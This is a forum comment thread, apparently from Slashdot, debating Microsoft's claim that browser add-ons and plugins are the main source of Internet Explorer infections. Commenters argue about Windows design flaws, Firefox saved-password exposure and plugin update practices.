Or download the .m4b audio file when we get it online next week here:
https://www.blackhat.com/html/webinars/webinars-index.html

Bullshit!

[Hamoohead]

My Mac is invulnerable to uiru[3qo4iutl2hkety;ehjokgheghjndgbnjgdscf

Closed source vendors promote Collusion

[mahadiga]

• Closed source vendors promote Collusion in Businesses.
• Open source vendors promote Competition in Businesses.

Total Bullshit

[HermMunster]

I fix computers ever day. For the past 4 years the majority of my time is spent removing malware from computers. I can tell you unequivocally that the add-ons to the browser, though they are a threat, are not the primary way that computers get infected (while using IE).

One of the things that I do is look at the add-ons to see what is installed, what is known to be bad, and what is unknown and a possible threat.

Very few infection issues come from the add-ons as the primary source of infection. When one investigates the infections it is obvious that some are coming from add-ons but not primarily. Most are coming from defects in the OS that allow the nefariously infected site to add software without the customer's knowledge.

The problem here is that most of you, yes you slashdot participants, are totally ignorant of all the really nasty flaws in the Windows OS. If you don't want to get infected stay the fuck away from Internet Explorer. There are better browsers out there and you can significantly reduce your chance of infection by using them.

Microsoft is lazy when it comes to security. Now, of course BHOs are an issue, just not the primary issue and to have Microsoft make that statement endangers every IE user.

Malware does not generally get on through requesting permission from the user, though sometimes users are prompted. These messages are either JS or a Windows prompt to install something, but those Microsoft messages are extremely unclear.

So, even if the BHO is an issue for any given machine the problem is in the lazy nature of Microsoft (which presents cryptic messages that the average person doesn't understand) and in order to rid themselves of the popup message they OK it.

This means that the foundation (the basic design) is wrong and it is wrong at the heart of the OS not just in IE's use of BHOs. Firefox for instance has a significantly different design for add-ons which help greatly in ensuring that infection doesn't occur as a result of them.

The Windows OS is a swiss cheese of security and one of those holes is IE and one smaller hole is the add-on (BHO). To say that the BHO is the primary cause of infection is to give an erection to those writing this shit cause they know Microsoft is on the wrong fucking track, and Microsoft is in denial.

Fiddler Author

[Anonymous Coward]

This sounds like it is the same guy who wrote the excellent freeware Fiddler monitor. Of course Eric Lawrence is not that uncommon a name.

I wonder if he could add more value to MS and the world by working on that instead of this kind of thing (which is really just a blame game).

Don't go there in the first place

[SgrA*]

Every time IE or Acrobat crashes my machine, it reminds me that a data viewer should not be deeply emdedded into the OS. It's all downhill from there.

Browsers/ OS's - there's a parallel here

[Tomsk70]

This is where we end up going in circles...

Windows has had problems for YEARS because of the moody s/w written by the likes of Adobe, etc. - and they'll still pretend that it's *essential* to run several apps in the background, all day, in case you *might* want to access them - as well as several that you *don't* (Nero Indexer, anyone?). And now the problem has been replicated onto the browser plugins. But let's all blame MS/ IE, it's easier...

It isn't as if companies such as Adobe, Apple and the like don't have the resources, beta OS's or time to write decent code for IE, or even Windows itself. How many YEARS did it take Apple to write a decent Quicktime player? Why did it take another YEAR for Adobe to write an installer for IE7/ Vista that wasn't tripped up by the sandbox? But let's all blame MS, it's easier...

These companies will always blame MS/ IE, because all the fanboys will then roll their eyes and say "well, no surprise there" and leave it at that. It seems that every time MS try and implement something new, everyone throws their arms in the air and collectively shout "standards! standards!" (I can still remember being told that AD would never get anywhere with Novell in place) - and yet here we all are, raving about Chrome being able to run seperate instances (old news for IE), and Firefox being more secure - more secure? I'm now on 50+ users who have all looked on in horror as I expose their passwords in English with two clicks. Oh, you can secure the p/w list, but I haven't seen a single user do that yet - *not one*. You won't get any arguement from me about FF being technically better and nicer to use - but at the end of the day, your non-tech client won't be interested in your protestations about browser security when their laptop has been stolen and their bank accounts emptied (even when they themselves installed it 'because my son said it was beter'). So we're really talking about swapping the frying pan for the fire, as opposed to a one-stop-shop for all.

Which means no easy way out - but you could do worse than start learning about Group Policy/ local settings, and stop assuming that the browser will just protect you from anything by default - otherwise you may as well just assume that Windows 'is set up right' and not bother configuring that either....which is, of course, what loads of users have done with Vista itself - and those same users (for instance) then turn off UAC 'because it's annoying', and still see nothing wrong with blaming MS when they come unstuck because that in turn disables IE protected mode...

As for plugins, I generally block my clients' plugins by default anyway. Flash may be wonderful, but if Yahoo insist on using it to drive a landrover in front what I'm trying to read (for example), then no thanks. Realplayer? It was years before I realised that they were actually seperate from Gator (remember them?), simply because of their softwares' behaviour. Quicktime? No, I don't want to install Safari sneaky-style just because updating Quicktime seemed like a good idea. And then there's the Gator (sorry, Google) toolbar....The list goes on - but hey, let's just blame MS. If they block s/w, they're being non-standard - if they allow the sort of power coders want, their OS/ browser is rubbish.

No-one is asking *why* it has taken Firefox three versions to get it right, and everyone is ignoring the second browser war that's only making losers out of everyone (and if you don't think there's a second format-war on already, try signing up to Be Unlimited with IE - yup, written for FF, won't work in IE).

Right now, plugins are the least of our worries.

Re:Browsers/ OS's - there's a parallel here

[clone53421]

I'm now on 50+ users who have all looked on in horror as I expose their passwords in English with two clicks. Oh, you can secure the p/w list, but I haven't seen a single user do that yet - *not one*.

Heh. Good point. My Windows password is my line of defence on that PC (I never leave it alone without locking the Windows desktop – heck, almost never even when I'm the only one home)... even though it's possible to copy the files off the HDD the profile is encrypted somehow (the saved login data is base64-encoded for storage but the decoded data is still binary gibberish, at which point I made no further progress with retrieving the login details themselves) – if there's any way of decrypting it, I'd like to know how. My FF portable app that I have on a flash drive (in case I need it on the go) has a master password, since if I lost it I still wouldn't want all my passwords being easily visible as you pointed out.

If you're aware of some way of decoding the saved passwords in Firefox profiles (no master password set, just the encoded login details in the profile files), I'm curious as to how. I once needed to do that (bad HDD caused my \windows\system32 folder to disappear, so I was able to save my old FF profile when I reinstalled but I have no way of decrypting the saved usernames/passwords – I know most of them, fortunately, but still...). As I said, I wasn't able to find any way of retrieving them.

Evidence?

[jonaskoelker]

Well, they could at least have brought a little more evidence to the table than "because we say so".

Or do people trust claims based on the claims rather than based on the evidence?

and now Flash is 64-bit native...

[Monzo]

Great!

Now a new entrance in our 64-bit OS is here with the all new, shiny Flash for Linux.

And although there is no IE there, I bet there will be a hack one of these days. Didn't anybody hack an Apple via Flash?

The beste security advisory _ever_ would be to deny interactive plugins that work without user intervention (javascript, Flash, silverlight) so that we can go back to basics: read information.

Different types of add-ons

[jesser]

Microsoft is currently blaming plugins (Flash, Java, QuickTime, etc) for security problems. These typically come with your computer, and if you uninstall them, some sites stop working. On Windows, each one uses a different automatic update mechanism, each of which is confusing and/or evil in its own way, resulting in the majority of users having outdated plugins.

Firefox fans on Slashdot have blamed extensions (Adblock, Forecastfox, etc.) for memory leaks. Plenty of people use Firefox without extensions. Most extensions do not interact with data from web pages, so while they can cause memory leaks, they rarely cause security holes. When an extension does have a security hole, Blake Kaplan improves APIs to make similar holes less likely in the future.

I work for Mozilla, and I agree with Microsoft that plugin security holes are a major problem.

Quite simple

[mahadiga]

Windows is insecure by design.